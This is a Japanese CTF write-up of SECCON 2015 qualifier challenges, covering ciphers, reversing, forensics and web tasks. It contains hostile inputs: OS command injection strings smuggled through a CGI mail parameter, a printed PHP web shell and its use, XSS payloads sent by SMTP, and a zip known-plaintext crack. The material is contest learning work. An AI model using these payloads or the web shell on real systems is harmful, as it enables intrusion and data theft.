SECCON 2015 オンライン予選にチーム omakase としてひとりで参加しました。
最終的に獲得できたポイントは 1700 点で、50 点以上獲得した 872 チーム中、96 位でした。
の 13 問を解きました。
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
P -> A
X -> B
と置換していくとフラッグが出ました。
$ echo A}FFDNEVPFSGV}KZPN}GO | perl -pe 'tr/PXFR}QIVTMSZCNDKUWAGJB{LHYEO/ABCDEFGHIJKLMNOPQRSTUVWXYZ{}/'
SECCON{HACKTHEPLANET}
flag: SECCON{HACKTHEPLANET}
unzip
というパスワード付きの zip
ファイルが渡されます。
中身をのぞいてみると、backnumber08.txt
backnumber09.txt
flag
というファイルが入っているのが確認できました。
backnumber08.txt
を site:*.seccon.jp backnumber08.txt
で検索して探すとSECCONのメールマガジンのバックナンバーのファイルが引っ掛かります。
パスワード付きの zip
で中身の一部のファイルがわかっているので既知平文攻撃ができそうです。
$ wget http://2014.seccon.jp/mailmagazine/backnumber08.txt
$ zip hoge.zip backnumber08.txt
$ pkcrack -c backnumber08.txt -p backnumber08.txt -C unzip -P hoge.zip -d out.zip
といった感じで pkcrack
を使うと復号できました。
out.zip
を展開して flag
を見てみると DOC
ファイルっぽい。
Microsoft Word
で開いてみると、白背景に白文字でフラッグが書かれていました。
flag: SECCON{1s_th1s_passw0rd_ weak?}
rps.apk
という Android のアプリファイルが渡されます。
zip
として展開して classes.dex
を取り出します。
classes.dex
を dex2jar
で jar
ファイルに変換、さらに出てきた jar
ファイルを zip
として展開します。
com/example/seccon2015/rock_paper_scissors/MainActivity.class
をデコンパイルしてみると、
public native int calc();
...
if(1000 == cnt)
textview.setText((new StringBuilder()).append("SECCON{").append(String.valueOf(107 * (cnt + calc()))).append("}").toString());
という気になる部分が。
lib/x86/libcalc.so
というそれっぽい共有ライブラリがあるので解析します。
$ gdb lib/x86/libcalc.so
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x00000310 __cxa_atexit
0x00000310 __cxa_atexit@plt
0x00000320 __stack_chk_fail
0x00000320 __stack_chk_fail@plt
0x00000330 __cxa_finalize
0x00000330 __cxa_finalize@plt
0x00000400 Java_com_example_seccon2015_rock_1paper_1scissors_MainActivity_calc
(gdb) disas Java_com_example_seccon2015_rock_1paper_1scissors_MainActivity_calc
Dump of assembler code for function Java_com_example_seccon2015_rock_1paper_1scissors_MainActivity_calc:
0x00000400 <+0>: mov eax,0x7
0x00000405 <+5>: ret
End of assembler dump.
これで、public native int calc();
は 7
を返すことが分かりました。
あとは 'SECCON{' + (107 * (1000 + 7)) + '}'
を求めるとフラッグが出てきます。
flag: SECCON{107749}
nc login.pwn.seccon.jp 10000 | sed "s/\x08//g"
を実行してしばらく待つと、
$ nc login.pwn.seccon.jp 10000 | sed "s/\x08//g"
CONNECT 300
Welcome to SECCON server.
The server is connected via slow dial-up connection.
Please be patient, and do not brute-force.
S E C C O N { S o m e t i m e s _ w h a t _ y o u _ s e e _ i s _ N O T _ w h a t _ y o u _ g e t }
SECCON{Sometimes_what_you_see_is_NOT_what_you_get}
http://entryform.pwn.seccon.jp/register.cgi
という URL が渡されました。
/
をのぞいてみるとインデックスが表示されました。
/register.cgi_bak
という怪しいファイルがあるので見てみると、register.cgi
のソースっぽい。
怪しいところを探すと
open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
...
open(LOG, ">>log"); ### <-- FLAG HERE ###
mail がそのまま挿入されています。OS コマンドインジェクションができそうです。
mail を ';ls 'SECRETS/
にしてみると、
total 16
dr-xr-xr-x 2 root root 4096 Dec 1 21:52 .
dr-xr-xr-x 3 cgi cgi 4096 Dec 1 22:29 ..
-r--r--r-- 1 root root 42 Dec 1 21:52 backdoor123.php
-r--r--r-- 1 root root 19 Dec 1 21:52 index.html
と SECRETS/
のファイルの一覧が表示されました。
';cat SECRETS/backdoor123.php'
にして backdoor123.php
の中身を確認すると、
<pre><?php system($_GET['cmd']); ?></pre>
楽にコマンドが実行できそうです。
/SECRETS/backdoor123.php?cmd=head%20../log
にアクセスすると、
**FLAG**
SECCON{Glory_will_shine_on_you.}
********
...
flag: SECCON{Glory_will_shine_on_you.}
https://youtu.be/8SFsln4VyEk
という URL が渡されます。
とりあえず ffmpeg
で動画をフレームごとに切り出して画像化。
$ mkdir images
$ ffmpeg -i hoge.avi -f image2 images/%d.png
Python
でいい感じにしてくれるスクリプトを書いて実行。
import glob
from PIL import Image
w, h = 232, 232
p = [0 for _ in range(w * h)]
def f(im):
d = list(im.getdata())
for x in range(w):
for y in range(h):
n = d[y * w + x]
p[y * w + x] += n == 255
return im
for g in glob.glob('images/*.png'):
im = Image.open(g)
f(im.convert('1'))
s = Image.new('1', (w, h))
r = 18
for x in range(w):
for y in range(h):
n = p[y * w + x] >= r
p[y * w + x] = 255 if n else 0
s.putdata(p)
s.save('result.png')
いい感じに QR コードが出てきます。
flag: SECCON{TH3F0RC3AVVAK3N53P7}
caitsith.pwn.seccon.jp
に telnet
で接続してすべての *.txt
ファイルを読めという問題です。
接続してどんなファイルがあるか確認します。
CaitSith login: root
Password:
$ ls
bin flags.txt linuxrc stage1.txt stage4.txt usr
dev init proc stage2.txt stage5.txt
etc lib sbin stage3.txt tmp
$ cat stage1.txt
What command do you use when you want to read only top lines of a text file?
Set your answer to environment variable named stage1 and execute a shell.
$ stage1=$your_answer_here sh
If your answer is what I meant, you will be able to access stage2.txt file.
$ cat stage2.txt
cat: can't open 'stage2.txt': Operation not permitted
stage1=(クイズの答え) sh
のあと cat stage2.txt
をして次の問題に進んでいくようです。
$ stage1=ls sh
$ cat stage2.txt
What command do you use when you want to read only bottom lines of a text file?
...
$ stage2=tail sh
$ cat stage3.txt
What command do you use when you want to pick up lines that match specific patterns?
...
$ stage3=grep sh
$ cat stage4.txt
What command do you use when you want to process a text file?
...
$ stage4=awk sh
$ cat stage5.txt
OK. You reached the final stage. The flag word is in flags.txt file.
flags.txt can be read by only one specific program which is available
in this server. The program for reading flags.txt is one of commands
you can use for processing a text file. Please find it. Good luck. ;-)
$ sed -e 's/hoge/fuga/' flags.txt
OK. You have read all .txt files. The flag word is shown below.
SECCON{CaitSith@AQUA}
MrFusion.gpjb
という謎の拡張子ファイルが渡されます。
binwalk
に投げると
$ binwalk MrFusion.gif
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
0 0x0 GIF image data, version "89a", 1280 x 720
6943 0x1B1F PNG image, 1280 x 720, 8-bit colormap, interlaced
9727 0x25FF JPEG image data, JFIF standard 1.01
26632 0x6808 PC bitmap, Windows 3.x format, 1280 x 720 x 24
2791486 0x2A983E GIF image data, version "89a", 1280 x 720
2794240 0x2AA300 PNG image, 1280 x 720, 8-bit colormap, interlaced
2796217 0x2AAAB9 JPEG image data, JFIF standard 1.01
2813627 0x2AEEBB PC bitmap, Windows 3.x format, 1280 x 720 x 24
5578481 0x551EF1 GIF image data, version "89a", 1280 x 720
5580896 0x552860 PNG image, 1280 x 720, 8-bit colormap, interlaced
5583378 0x553212 JPEG image data, JFIF standard 1.01
5601221 0x5577C5 PC bitmap, Windows 3.x format, 1280 x 720 x 24
8366075 0x7FA7FB GIF image data, version "89a", 1280 x 720
8368830 0x7FB2BE PNG image, 1280 x 720, 8-bit colormap, interlaced
8371932 0x7FBEDC JPEG image data, JFIF standard 1.01
a = [0,6943,9727,26632,2791486,2794240,2796217,2813627,5578481,5580896,5583378,5601221,8366075,8368830,8371932,0x7fff21]
b = ['gif', 'png', 'jpg', 'bmp']
f = open('Mrfusion.gif', 'rb')
for x in range(len(a) - 1):
open('result/{:02d}.{}'.format(x, b[x % 4]), 'wb').write(f.read(a[x + 1] - a[x]))
flag: SECCON{OCT 21 2015 0728}
desktop_capture.png
というデスクトップのスクリーンショットが渡されます。
flag
を気合いで写して実行してみると、
$ ./flag
Rmxvb2QgZmlsbA0K
$ ./flag | base64 -d
Flood fill
バイナリエディタの白い部分を塗りつぶしてみると、フラッグが表示されました。
SECCON{the_hidden_message_ever}
Start SECCON CTF と同様に置換すると、フラッグが出ました。
$ echo A}FFDNEA}}HDJN}LGH}PWO | perl -pe 'tr/PXFR}QIVTMSZCNDKUWAGJB{LHYEO/ABCDEFGHIJKLMNOPQRSTUVWXYZ{}/'
SECCON{SEEYOUNEXTYEAR}
SECCON{SEEYOUNEXTYEAR}
cryptooo
という x86-64
の ELF
ファイルが渡されます。
実行してみると、
$ ./cryptoo A
crypted(4): 0w==
$ ./cryptoo AA
crypted(4): 01A=
$ ./cryptoo AAA
crypted(4): 01B1
$ ./cryptoo AAAA
crypted(8): 01B1iQ==
$ python2
>>> '0w=='.decode('base64')
'\xd3'
>>> '01A='.decode('base64')
'\xd3P'
>>> '01B1'.decode('base64')
'\xd3Pu'
>>> '01B1iQ=='.decode('base64')
'\xd3Pu\x89'
どうやら 1 文字ずつ暗号化されている様子です。総当たりしましょう。
use strict;
use warnings;
use MIME::Base64;
my $s = decode_base64('waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=');
my $r = '';
my @chars = ('0' .. '9', 'A' .. 'Z', 'a' .. 'z', '{', '}', '_');
for my $i (0 .. length $s) {
for my $c (@chars) {
my $res = `./cryptooo $r$c`;
$res =~ s/Encrypted\(\d+\): //;
$res = decode_base64($res);
if (substr($s, $i, 1) eq substr($res, $i, 1)) {
$r .= $c;
print '[+] ' . $r . "\n";
last;
}
}
}
$ perl solve.pl
[+] S
[+] SE
[+] SEC
[+] SECC
[+] SECCO
[+] SECCON
[+] SECCON{
[+] SECCON{C
[+] SECCON{Cr
[+] SECCON{Cry
[+] SECCON{Cry_
[+] SECCON{Cry_P
[+] SECCON{Cry_Pt
[+] SECCON{Cry_Pto
[+] SECCON{Cry_Pto_
[+] SECCON{Cry_Pto_O
[+] SECCON{Cry_Pto_Oo
[+] SECCON{Cry_Pto_Oo_
[+] SECCON{Cry_Pto_Oo_O
[+] SECCON{Cry_Pto_Oo_Oo
[+] SECCON{Cry_Pto_Oo_Oo1
[+] SECCON{Cry_Pto_Oo_Oo1O
[+] SECCON{Cry_Pto_Oo_Oo1Oo
[+] SECCON{Cry_Pto_Oo_Oo1Oo_
[+] SECCON{Cry_Pto_Oo_Oo1Oo_o
[+] SECCON{Cry_Pto_Oo_Oo1Oo_oo
[+] SECCON{Cry_Pto_Oo_Oo1Oo_oo_
[+] SECCON{Cry_Pto_Oo_Oo1Oo_oo_O
[+] SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo
[+] SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_
[+] SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O
[+] SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O}
flag: [+] SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O}
hakoniwaWebMail.exe
という Windows の実行ファイルが渡されます。
実行してみると、どうやらウェブブラウザでメールを見ている様子。
クリックすると You can NOT operate anything.
とメッセージボックスが表示され操作できません。
Process Explorer
で見てみると、smtp
のポートで LISTENING
となっています。
試しにメールを送ってみましょう。
> telnet localhost 25
220 tsuribori.test Tsuribori-SMTPserver by KeigoYAMAZAKI, 2014.12.09- ESMTP
MAIL FROM: localhost@localhost
250 ok
RCPT TO: keigo.yamazaki@tsuribori.test
250 ok
DATA
354 Please start mail input.
From: localhost@localhost
Subject: test
Hello, world!
.
250 Mail queued for delivery.
quit
221 Closing connection. Good bye.
すると、アプリケーションの方に送ったメールが表示されました。
XSS を探してみます。
> telnet localhost 25
MAIL FROM: <s>@localhost
RCPT TO: keigo.yamazaki@tsuribori.test
DATA
From: <s>@localhost
Date: <s>2015-12-06
Subject: <s>
<s>Hello, world!
.
quit
Date
の 2015-12-06
に取り消し線が。XSS 発見です。
> telnet localhost 25
MAIL FROM: localhost@localhost
RCPT TO: keigo.yamazaki@tsuribori.test
DATA
From: localhost@localhost
Date: <script>alert(navigator.userAgent)</script>
Subject: subject
body
.
quit
User-Agent がアラートで出ました。
flag: SECCON{TsuriboriWebBros/2015.12.17620}
dmesg
を実行しようとしたところ、applet not found
と表示されました。
ls -l /bin/dmesg
してみると、/bin/dmesg -> busybox
となっています。
http://tinycorelinux.net/6.x/x86/release/ から適当に iso
をダウンロード、busybox
を取り出して持ってきます。
./busybox dmesg | grep SECCON
するとフラッグが表示されました。
flag: SECCON{elf32-i386}